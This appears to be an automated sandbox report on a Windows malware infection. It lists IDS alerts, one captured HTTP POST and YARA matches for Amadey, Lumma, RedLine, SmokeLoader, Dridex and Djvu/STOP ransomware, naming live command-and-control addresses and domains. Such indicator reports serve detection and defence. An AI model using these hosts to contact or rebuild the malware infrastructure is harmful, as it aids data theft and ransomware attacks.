Timestamp:	192.168.2.4190.139.250.13349784802036333 07/27/23-18:27:31.776362
SID:	2036333
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049874802044695 07/27/23-18:27:48.264031
SID:	2044695
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 179.25.2.95

Timestamp:	192.168.2.4179.25.2.9549763802020826 07/27/23-18:27:29.458086
SID:	2020826
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050015802027700 07/27/23-18:28:02.435380
SID:	2027700
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.750020802043206 07/27/23-18:28:03.092051
SID:	2043206
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049785802044695 07/27/23-18:27:31.601012
SID:	2044695
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049882802027700 07/27/23-18:27:49.488669
SID:	2027700
Source Port:	49882
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 211.119.84.111

Timestamp:	192.168.2.4211.119.84.11149741802020826 07/27/23-18:27:23.038083
SID:	2020826
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049841802027700 07/27/23-18:27:42.080667
SID:	2027700
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049744802044695 07/27/23-18:27:23.390200
SID:	2044695
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049843802044695 07/27/23-18:27:42.553170
SID:	2044695
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050018802044695 07/27/23-18:28:02.909532
SID:	2044695
Source Port:	50018
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050024802044695 07/27/23-18:28:03.735111
SID:	2044695
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049796802027700 07/27/23-18:27:35.605498
SID:	2027700
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749913802043206 07/27/23-18:27:53.765803
SID:	2043206
Source Port:	49913
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050027802044695 07/27/23-18:28:04.181576
SID:	2044695
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049863802027700 07/27/23-18:27:47.087600
SID:	2027700
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049866802027700 07/27/23-18:27:47.476195
SID:	2027700
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749904802043206 07/27/23-18:27:53.232737
SID:	2043206
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049955802027700 07/27/23-18:27:56.221466
SID:	2027700
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049961802027700 07/27/23-18:27:57.062232
SID:	2027700
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050033802044695 07/27/23-18:28:05.161911
SID:	2044695
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049774802027700 07/27/23-18:27:30.411080
SID:	2027700
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049926802044695 07/27/23-18:27:54.503258
SID:	2044695
Source Port:	49926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049837802044695 07/27/23-18:27:41.681795
SID:	2044695
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050030802044695 07/27/23-18:28:04.613520
SID:	2044695
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.856807532045695 07/27/23-18:26:45.425994
SID:	2045695
Source Port:	56807
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749908802043206 07/27/23-18:27:53.491152
SID:	2043206
Source Port:	49908
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049935802044695 07/27/23-18:27:54.874546
SID:	2044695
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 51.89.201.49

Timestamp:	192.168.2.451.89.201.494975169322043231 07/27/23-18:27:38.372778
SID:	2043231
Source Port:	49751
Destination Port:	6932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049748802044695 07/27/23-18:27:27.244170
SID:	2044695
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049929802044695 07/27/23-18:27:54.687517
SID:	2044695
Source Port:	49929
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049830802044695 07/27/23-18:27:40.666457
SID:	2044695
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050005802044695 07/27/23-18:28:00.408770
SID:	2044695
Source Port:	50005
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049865802044695 07/27/23-18:27:47.272503
SID:	2044695
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049735802044695 07/27/23-18:27:22.425901
SID:	2044695
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Potential Dridex.Maldoc Minimal Executable Request - Source IP: 192.168.2.4 - Destination IP: 187.204.99.218

Timestamp:	192.168.2.4187.204.99.21849760802020826 07/27/23-18:27:29.182970
SID:	2020826
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049824802044695 07/27/23-18:27:39.782384
SID:	2044695
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749987802043206 07/27/23-18:27:58.459630
SID:	2043206
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.4 - Destination IP: 51.89.201.49

Timestamp:	192.168.2.451.89.201.494993469322043231 07/27/23-18:28:02.863918
SID:	2043231
Source Port:	49934
Destination Port:	6932
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049872802027700 07/27/23-18:27:48.065922
SID:	2027700
Source Port:	49872
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749932802043206 07/27/23-18:27:54.825186
SID:	2043206
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749952802043206 07/27/23-18:27:56.039853
SID:	2043206
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049968802027700 07/27/23-18:27:57.470848
SID:	2027700
Source Port:	49968
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.750006802043206 07/27/23-18:28:00.586014
SID:	2043206
Source Port:	50006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049907802044695 07/27/23-18:27:53.472643
SID:	2044695
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049755802027700 07/27/23-18:27:27.957342
SID:	2027700
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049782802044695 07/27/23-18:27:31.319911
SID:	2044695
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.857300532045695 07/27/23-18:27:16.832306
SID:	2045695
Source Port:	57300
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050012802027700 07/27/23-18:28:01.740311
SID:	2027700
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://dawarearp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: potunulit.org

Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.6.54.58:443 -> 192.168.2.4:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 213.6.54.58:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.66.203.53:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.217.254:443 -> 192.168.2.4:49857 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 22.3.89DB.exe.2470000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.89DB.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.89DB.exe.2460e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.677551538.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.678331405.0000000003F91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633138123.0000000002360000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.634169410.0000000003F81000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.565053252.0000000002590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.566378652.00000000025B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.659211500.0000000002470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: file.exe, 00000000.00000002.566415788.0000000002628000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 7.2.4FC4.exe.40e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.D5C1.exe.41015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.B666.exe.41015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.4149.exe.41115a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.D5C1.exe.41015a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.4149.exe.40a15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.4149.exe.42815a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.4149.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.4FC4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.4149.exe.42815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.D5C1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.B666.exe.41015a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.4149.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.4FC4.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.B03B.exe.40515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.4149.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.4149.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.4FC4.exe.40e15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.89B0.exe.40915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.89B0.exe.40915a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.B666.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.D5C1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.4149.exe.40a15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.4149.exe.41115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.4149.exe.40e15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.B03B.exe.40515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.B666.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.652250707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.671427213.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.692618909.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.677830115.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.632842121.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.702688387.0000000004050000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.668807401.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.757206210.0000000004280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.631952824.00000000040E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.704160314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.660447240.0000000004110000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.664889284.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.637137314.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: D5C1.exe PID: 6912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D5C1.exe PID: 6964, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4FC4.exe PID: 7024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4FC4.exe PID: 3536, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 4132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 1900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 4588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 5672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: B666.exe PID: 6804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: B666.exe PID: 4624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 3720, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4149.exe PID: 7004, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 19.2.2355.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.3.2355.exe.3ff0000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.2355.exe.42c0000.6.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 7.2.4FC4.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.4FC4.exe.40e15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.2.D5C1.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.D5C1.exe.41015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 18.2.B666.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 18.2.B666.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.4100ee8.2.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 17.2.4149.exe.41115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.4149.exe.41115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.4100000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 5.2.D5C1.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.2.D5C1.exe.41015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.4149.exe.40a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.4149.exe.40a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.4149.exe.42815a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.4149.exe.42815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.42c0000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.2355.exe.41b1e76.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.2355.exe.41b2d5e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 10.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 10.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 10.2.4149.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.41b1e76.4.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 26.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 21.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 21.2.4149.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.5486550.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.2355.exe.5486550.9.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 19.2.2355.exe.3e60e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 8.2.4FC4.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.4FC4.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.2355.exe.4100ee8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
